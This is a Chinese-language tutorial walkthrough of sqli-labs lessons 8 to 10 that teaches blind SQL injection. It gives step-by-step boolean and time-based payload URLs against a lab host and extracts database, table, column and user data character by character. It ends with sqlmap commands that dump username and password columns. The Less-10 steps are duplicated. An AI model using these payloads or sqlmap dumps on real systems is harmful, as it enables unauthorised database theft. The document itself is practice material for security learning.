sqli-labs靶場實現(二)【不顯示錯誤內容的盲注(布林、時間)】(less-8~10、具體步驟+圖文詳解)
一)不再顯示不再顯示錯誤的盲注
1)盲注介紹——盲注的流程
2)get基於時間的盲注(less9(單引號)、less10(雙引號))
3)get基於boolena的盲注(less8(單引號))
4)sqlmap安全測試
————————————————————————————————————————————————————
一)不再顯示不再顯示錯誤的盲注
1)盲注介紹
盲注(blind SQL)是注入攻擊的其中一種,它通過向資料庫傳送true或者false並根據應用程式返回的資訊判斷結果,這種攻擊的程式是因為本身在設定配置時就設計成只顯示對錯但並不顯示解決SQL隱碼攻擊存在的程式碼問題的方法(也就是不會將SQL語句的錯誤原因和位置顯示出來,只顯示對或者錯的這個結果)。
盲注分類:時間盲注、布林型盲注
判斷是否存在注入:
id=1(正常顯示:you are in)
id=2(正常顯示:you are in)
id=1'(錯誤:不顯示任何內容)
id=2'(錯誤:不顯示任何內容)
id=2\(錯誤:不顯示任何內容)【雙引號閉合】
盲注大致流程:
1.判斷是否存在注入,注入是字元型還是數字型(方法同顯注的union相同)
2.判斷欄位數(order by)
3.猜解資料庫個數
4.猜解指定資料庫名稱長度
5.猜解指定資料庫名稱
6.猜解指定資料庫中表的個數
7.猜解指定資料庫中表名長度
8.猜解指定資料庫中表名
9.猜解指定資料庫中指定表的欄位數
10.猜解指定資料庫中指定表的欄位長度
11.猜解指定資料庫中指定表的欄位名
12.猜解指定資料庫中指定表的欄位內容個數
13.猜解指定資料庫中指定表的欄位內容長度
14.猜解指定資料庫中指定表的欄位內容
2)get基於時間的盲注
先進行基本語句解析:
if(ascii(substr(database(),1,1)=115),1,sleep(5));
————當資料庫名稱的第一個字母的ascii碼=115時,執行一次sleep(5)函式等待5秒
1)if(條件,1,sleep(5))
2)ascii(字元1)=115
3)substr(string,1,1)
4)database()
由外到內層層拆分:
1)if(條件,1,sleep(5))————如果條件符合,那麼執行一次sleep(5),否則不執行;
1')if(條件,2,sleep(5))————如果條件符合,那麼執行兩次sleep(5),否則不執行;
2)ascii(字元1)=115————將 字元1 轉換為ascii碼並與115進行比較
3)substr(string,1,1)————從string字串的第一個字元開始擷取並且只擷取一個字元
4)database()————獲取當前資料庫名稱
a)判斷是否存在基於時間的盲注
http://192.168.67.143/sqli/Less-10/?id=1" and sleep(5) --+
如果頁面需載入5秒就說明存在基於時間的盲注
b)猜解資料庫個數
http://192.168.67.143/sqli/Less-10/?id=1" and if((select count(schema_name) from information_schema.schemata)>1,sleep(5),1) --+
c)猜解資料庫個數
http://192.168.67.143/sqli/Less-10/?id=1" and if((select count(schema_name) from information_schema.schemata)>1,sleep(5),1) --+ #顯示正常
d)猜解指定資料庫名稱長度
http://192.168.67.143/sqli/Less-10/?id=1" and if(length((select schema_name from information_schema.schemata limit 0,1))=1,sleep(5),1) --+ #顯示不正常
e)猜解指定資料庫名稱
http://192.168.67.143/sqli/Less-10/?id=1" and if(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1))=105,sleep(5),1) --+ #顯示正常
f)猜解指定資料庫中表的個數
http://192.168.67.143/sqli/Less-10/?id=1" and if(((select count(table_name) from information_schema.tables where table_schema='security' limit 0,1))=4,sleep(5),1) --+ #顯示正常
g)猜解指定資料庫中表名長度
http://192.168.67.143/sqli/Less-10/?id=1" and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(5),1) --+ #顯示正常
h)猜解指定資料庫中表名
http://192.168.67.143/sqli/Less-10/?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=101,sleep(5),1) --+ #顯示正常
i)猜解指定資料庫中指定表的欄位數
http://192.168.67.143/sqli/Less-10/?id=1" and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3,sleep(5),1) --+ #顯示正常
j)猜解指定資料庫中指定表的欄位長度
http://192.168.67.143/sqli/Less-10/?id=1" and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2,sleep(5),1) --+ #顯示正常
k)猜解指定資料庫中指定表的欄位名
http://192.168.67.143/sqli/Less-10/?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1))=105,sleep(5),1) --+ #顯示正常
l)猜解指定資料庫中指定表的欄位內容個數
http://192.168.67.143/sqli/Less-10/?id=1" and if((select count(username) from users)=13,sleep(5),1) --+ #顯示正常
m)猜解指定資料庫中指定表的欄位內容長度
http://192.168.67.143/sqli/Less-10/?id=1" and if(length((select username from users limit 0,1))=4,sleep(5),1) --+ #顯示正常
n)猜解指定資料庫中指定表的欄位內容
http://192.168.67.143/sqli/Less-10/?id=1" and if(ascii(substr((select username from users limit 0,1),1))=68,sleep(5),1) --+ #顯示正常
less10:
a)判斷是否存在基於時間的盲注
http://192.168.67.143/sqli/Less-10/?id=1" and sleep(5) --+
如果頁面需載入5秒就說明存在基於時間的盲注
b)猜解資料庫個數
http://192.168.67.143/sqli/Less-10/?id=1" and if((select count(schema_name) from information_schema.schemata)>1,sleep(5),1) --+
c)猜解資料庫個數
http://192.168.67.143/sqli/Less-10/?id=1" and if((select count(schema_name) from information_schema.schemata)>1,sleep(5),1) --+ #顯示正常
d)猜解指定資料庫名稱長度
http://192.168.67.143/sqli/Less-10/?id=1" and if(length((select schema_name from information_schema.schemata limit 0,1))=1,sleep(5),1) --+ #顯示不正常
e)猜解指定資料庫名稱
http://192.168.67.143/sqli/Less-10/?id=1" and if(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1))=105,sleep(5),1) --+ #顯示正常
f)猜解指定資料庫中表的個數
http://192.168.67.143/sqli/Less-10/?id=1" and if(((select count(table_name) from information_schema.tables where table_schema='security' limit 0,1))=4,sleep(5),1) --+ #顯示正常
g)猜解指定資料庫中表名長度
http://192.168.67.143/sqli/Less-10/?id=1" and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(5),1) --+ #顯示正常
h)猜解指定資料庫中表名
http://192.168.67.143/sqli/Less-10/?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=101,sleep(5),1) --+ #顯示正常
i)猜解指定資料庫中指定表的欄位數
http://192.168.67.143/sqli/Less-10/?id=1" and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3,sleep(5),1) --+ #顯示正常
j)猜解指定資料庫中指定表的欄位長度
http://192.168.67.143/sqli/Less-10/?id=1" and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2,sleep(5),1) --+ #顯示正常
k)猜解指定資料庫中指定表的欄位名
http://192.168.67.143/sqli/Less-10/?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1))=105,sleep(5),1) --+ #顯示正常
l)猜解指定資料庫中指定表的欄位內容個數
http://192.168.67.143/sqli/Less-10/?id=1" and if((select count(username) from users)=13,sleep(5),1) --+ #顯示正常
m)猜解指定資料庫中指定表的欄位內容長度
http://192.168.67.143/sqli/Less-10/?id=1" and if(length((select username from users limit 0,1))=4,sleep(5),1) --+ #顯示正常
n)猜解指定資料庫中指定表的欄位內容
http://192.168.67.143/sqli/Less-10/?id=1" and if(ascii(substr((select username from users limit 0,1),1))=68,sleep(5),1) --+ #顯示正常
3)get基於boolena的盲注:less8(基於布林盲注):
a)判斷是否存在注入,注入是字元型還是數字型(方法同顯注的union相同):
id=1(有顯示)
id=1'(無顯示)
id=1 and 1=1(有顯示)
id=1 and 1=2(有顯示,但其實是沒反應,也就是沒有進入SQL資料庫進行判斷)
id=1' and 1=1 --+(有顯示)
id=1' and 1=2 --+(無顯示)
結論:字元型(因為字元型的會顯示不同的提示證明SQL語句被成功執行,而數字型無論SQL對錯頁面顯示的提示都是相同的證明SQL語句並沒有被執行)。
b)判斷欄位數
http://192.168.67.143/sqli/Less-8/?id=1' order by 1 --+ (正常)
http://192.168.67.143/sqli/Less-8/?id=1' order by 2 --+ (正常)
http://192.168.67.143/sqli/Less-8/?id=1' order by 3 --+ (正常)
http://192.168.67.143/sqli/Less-8/?id=1' order by 4 --+ (錯誤)
結論:欄位數為3。
c)猜解資料庫個數:
http://192.168.67.143/sqli/Less-8/?id=1' and (select count(schema_name) from information_schema.schemata)>1 --+ #顯示正常
...
http://192.168.67.143/sqli/Less-8/?id=1' and (select count(schema_name) from information_schema.schemata)>6 --+ #顯示正常
http://192.168.67.143/sqli/Less-8/?id=1' and (select count(schema_name) from information_schema.schemata)>7 --+ #顯示錯誤
結論:資料庫數量為7。
d)猜解資料庫名稱長度:
從 id=1' and 1=1
id=1' and 1>1 擴充套件來的:
http://192.168.67.143/sqli/Less-8/?id=1' and length((select schema_name from information_schema.schemata limit 0,1))=1 --+ #顯示不正常
...
http://192.168.67.143/sqli/Less-8/?id=1' and length((select schema_name from information_schema.schemata limit 0,1))=18 --+ #顯示正常
說明第一個資料庫的長度為18
http://192.168.67.143/sqli/Less-8/?id=1' and length((select schema_name from information_schema.schemata limit 1,1))=10 --+ #顯示正常
說明第二個資料庫長度為10
後續只需修改limit的值和length值即可,不再累贅詳解。
e)猜解資料庫名稱:
http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1))=105 --+ #顯示正常
說明第一個資料庫的第一個字元為i
http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),2))=110 --+ #顯示正常
說明第一個資料庫的第二個字元為n
http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1))=99 --+ #顯示正常
說明第二個資料庫的第一個字元為c
http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),2))=104 --+ #顯示正常
說明第二個資料庫的第二個字元為h
後續只需修改limit的值和substr值即可,不再累贅詳解。
f)猜解指定資料庫中表的個數:
http://192.168.67.143/sqli/Less-8/?id=1' and ((select count(table_name) from information_schema.tables where table_schema='security' limit 0,1))=4 --+ #顯示正常
說明security資料庫的表個數為4
g)猜解指定資料庫中表名長度:
http://192.168.67.143/sqli/Less-8/?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6 --+ #顯示正常
說明security資料庫的第一個表名長度為6
http://192.168.67.143/sqli/Less-8/?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 1,1))=8 --+ #顯示正常
說明security資料庫的第二個表名長度為8
後續只需修改limit的值和substr值即可,不再累贅詳解。
h)猜解指定資料庫中表名
http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=101 --+ #顯示正常
說明security資料庫的第一個表的第一個字元為e
http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2))=109 --+ #顯示正常
說明security資料庫的第一個表的第二個字元為m
http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1))=114 --+ #顯示正常
說明security資料庫的第二個表的第一個字元為r
http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 2,1),2))=101 --+ #顯示正常
說明security資料庫的第二個表的第二個字元為e
後續只需修改limit的值和substr值即可,不再累贅詳解。
i)猜解指定資料庫中指定表的欄位數:
http://192.168.67.143/sqli/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3 --+ #顯示正常
說明security資料庫的users表欄位數為3
j)猜解指定資料庫中指定表的欄位長度:
http://192.168.67.143/sqli/Less-8/?id=1' and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2 --+ #顯示正常
說明security資料庫的users表的第一個欄位長為2
http://192.168.67.143/sqli/Less-8/?id=1' and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))=8 --+ #顯示正常
說明security資料庫的users表的第二個欄位長為8
後續只需修改limit的值和substr值即可,不再累贅詳解。
k)猜解指定資料庫中指定表的欄位名
http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1))=105 --+ #顯示正常
說明security資料庫的users表的第一個欄位的第一個字元為i
http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2))=98 --+ #顯示正常
說明security資料庫的users表的第一個欄位的第二個字元為d
http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1))=117 --+ #顯示正常
說明security資料庫的users表的第二個欄位的第一個字元為u
http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),2))=115 --+ #顯示正常
說明security資料庫的users表的第二個欄位的第二個字元為s
後續只需修改limit的值和substr值即可,不再累贅詳解。
l)猜解指定資料庫中指定表的欄位內容個數
http://192.168.67.143/sqli/Less-8/?id=1' and (select count(username) from users)=13 --+ #顯示正常
說明資料庫的users表username欄位的資料個數為13
m)猜解指定資料庫中指定表的欄位內容長度
http://192.168.67.143/sqli/Less-8/?id=1' and length((select username from users limit 0,1))=4 --+ #顯示正常
說明資料庫的users表username欄位的第一個資料長度為4
http://192.168.67.143/sqli/Less-8/?id=1' and length((select username from users limit 1,1))=8 --+ #顯示正常
說明資料庫的users表username欄位的第二個資料長度為8
後續只需修改limit的值即可,不再累贅詳解。
n)猜解指定資料庫中指定表的欄位內容
http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),1))=68 --+ #顯示正常
說明資料庫的users表username欄位的第一個資料的第一個字元為D
http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),2))=117 --+ #顯示正常
說明資料庫的users表username欄位的第一個資料的第二個字元為u
http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select username from users limit 1,1),1))=65 --+ #顯示正常
說明資料庫的users表username欄位的第二個資料的第一個字元為A
http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select username from users limit 1,1),2))=110 --+ #顯示正常
說明資料庫的users表username欄位的第二個資料的第二個字元為n
後續只需修改limit的值和substr值即可,不再累贅詳解。
4)sqlmap安全測試
如果我們可以確定SQL隱碼攻擊型別是布林盲注,那麼我麼在使用sqlmap探測時就可以設定探測技術針對布林盲注:
注:預設是 BEUSTQ——B是布林,E是報錯,U是聯合,S是堆疊,T是時間,Q是查詢
布林盲注:
a)獲取所以資料庫:
python sqlmap.py -u "192.168.67.143/sqli/Less-8/?id=1" --technique B --dbs --batch
結果圖:
b)獲取指定資料庫中所有表:
python sqlmap.py -u "192.168.67.143/sqli/Less-8/?id=1" --technique B -D security --tables --batch
c)獲取指定資料庫指定表中所有欄位:
python sqlmap.py -u "192.168.67.143/sqli/Less-8/?id=1" --technique B -D security -T users --columns --batch
d)dump資料:
python sqlmap.py -u "192.168.67.143/sqli/Less-8/?id=1" --technique B -D security -T users -C username,password --dump --batch
時間盲注:
a)獲取所以資料庫:
python sqlmap.py -u "192.168.67.143/sqli/Less-8/?id=1" --technique T --dbs --batch
b)獲取指定資料庫中所有表:
python sqlmap.py -u "192.168.67.143/sqli/Less-8/?id=1" --technique T -D security --tables --batch
c)獲取指定資料庫指定表中所有欄位:
python sqlmap.py -u "192.168.67.143/sqli/Less-8/?id=1" --technique T -D security -T users --columns --batch
d)dump資料:
python sqlmap.py -u "192.168.67.143/sqli/Less-8/?id=1" --technique T -D security -T users -C username,password --dump --batch
相關文章
- sqli-labs靶場實現(十)【二次注入(二階注入)】(less-24、具體步驟+圖文詳解)SQL
- sqli-labs靶場實現(九)【寬位元組注入(1)、寬位元組注入(2)】(less-33、less-32具體步驟+圖文詳解)SQL
- MySQL手注之盲注(布林)MySql
- 關於安裝DNS伺服器的新增步驟具體圖文詳解DNS伺服器
- win10藍屏介面不顯示藍屏錯誤資訊怎麼解決_讓Win10藍屏介面顯示藍屏錯誤資訊的步驟Win10
- win10藍色畫面介面不顯示藍色畫面錯誤資訊怎麼解決_讓Win10藍色畫面介面顯示藍色畫面錯誤資訊的步驟Win10
- Win10系統瀏覽器提示“出現了執行時間錯誤”的解決方法步驟!Win10瀏覽器
- Win10淘寶網站圖片無法顯示如何解決_Win10淘寶網圖片不顯示的解決步驟Win10網站
- win10圖示錯誤顯示怎麼改回來_win10電腦圖示顯示錯誤處理方法Win10
- Win10系統下實現待機不斷網的設定步驟【圖文】Win10
- 當Ruby的model名字出錯時,在現實view時顯示錯誤的提示View
- oracle的臨時表空間寫滿磁碟空間,解決改問題的具體步驟Oracle
- u盤內容被隱藏win10怎麼顯示_win10 u盤內容不顯示如何恢復Win10
- WIN10動態磁貼不顯示內容怎麼設定 WIN10設定動態磁貼不顯示內容方法Win10
- windows10照片大圖示不顯示怎麼辦_win10系統不顯示圖示的解決方法WindowsWin10
- Oracle歸檔日誌所在目錄時間不對&&Oracle叢集日誌時間顯示錯誤Oracle
- Angular 內容投影出現 No provider for TemplateRef found 錯誤的單步除錯AngularIDE除錯
- win10應用程式的圖示顯示不出來怎麼辦_win10軟體圖示不顯示的解決方法Win10
- unity player 顯示播放錯誤時的解決辦法Unity
- win10桌面沒有顯示我的電腦圖示如何恢復_win10桌面上我的電腦圖示不見了的解決步驟Win10
- chm 檔案開啟只顯示目錄,不顯示內容
- 避免Java堆空間錯誤的5個步驟Java
- qt中實現實時的顯示當前時刻的時間QT
- iOS framework的具體合成步驟iOSFramework
- 使用Oracle Statpack的具體步驟Oracle
- easyui datetimebox 如何只顯示 月份,不顯示具體的資料UI
- 實現PMC的數字化轉型需要哪些具體的步驟?
- Win10系統怎麼設定時間顯示到秒【圖文】Win10
- win10系統下通知中心不顯示任何內容怎麼解決Win10
- SQL隱碼攻擊——時間盲注SQL
- Win10 1909如何設定多屏顯示_Win10 1909設定多屏顯示圖文步驟Win10
- win10 桌面圖示拖不動怎麼辦_wn10桌面圖示無法拖動的解決步驟Win10
- win10 桌面圖示不顯示名字如何解決_win10桌面圖示不顯示名稱解決方法Win10
- Android RecyclerView-使用Itemdecoration實現粘性頭部功能,詳細到具體步驟.AndroidView
- win10系統長日期格式顯示怎麼設定 win10系統設定長時間格式顯示的步驟Win10
- win10工作列不顯示時間如何解決_win10電腦工作列不顯示時間怎麼處理Win10
- QChartView顯示實時更新的溫度曲線圖(二)View
- win10怎麼改軟體圖示_win10改應用圖示的步驟Win10